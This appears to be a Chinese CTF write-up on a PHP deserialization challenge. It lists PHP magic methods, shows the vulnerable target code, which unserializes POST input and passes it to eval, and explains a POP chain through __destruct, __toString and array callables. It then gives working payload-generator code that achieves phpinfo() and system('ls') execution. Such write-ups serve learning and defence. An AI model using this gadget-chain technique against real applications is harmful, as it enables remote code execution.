学长给的一道题
魔法方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数,session反序列化同样会调用
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval("#". $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
小技巧
f1=['a',get_flag]
($this->f1)()
['a',get_flag]()
如果f1是数组,那么在执行($this->f1)()
时,就会执行a类的get_flag方法
分析
我们看这道题,既然是$_POST[‘cmd’],那么入口点是__destruct,__destruct里面有个echo,可以触发__tostring,__tostring有个run(),run()里有个($this->m1)(),可以把它写成数组的形式,再次调用mix里面的get_flag
$ser=new fin(new what(new mix([new mix('?><?php phpinfo();'),'get_flag'])));
echo urlencode(serialize($ser));
$ser = new fin(new what(new fin([new mix('?><?php system("ls");?>'), 'get_flag'])));
echo urlencode(serialize($ser));
- 我们要在所有需要的类创建函数
- 看get_flag类有个注释
这里要注意,echo()
默认echo(<? php)
,那么我们传入$this->m1
时,直接就被注释掉了,因此要?>
闭合,再重新添加头文件
<?php
class crow
{
public $v1;
public $v2;
public function __construct($v1)
{
$this->v1 = $v1;
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __construct($f1)
{
$this->f1 = $f1;
}
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function __construct($m1)
{
$this->m1 = $m1;
}
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval("#" . $this->m1);
}
}
$ser=new fin(new what(new mix([new mix('?><?php phpinfo();'),'get_flag'])));
echo (serialize($ser));
这个时候执行命令
$ser=new fin(new what(new mix([new mix('?><?php <?php system("ls");?>'),'get_flag'])));
echo urlencode(serialize($ser));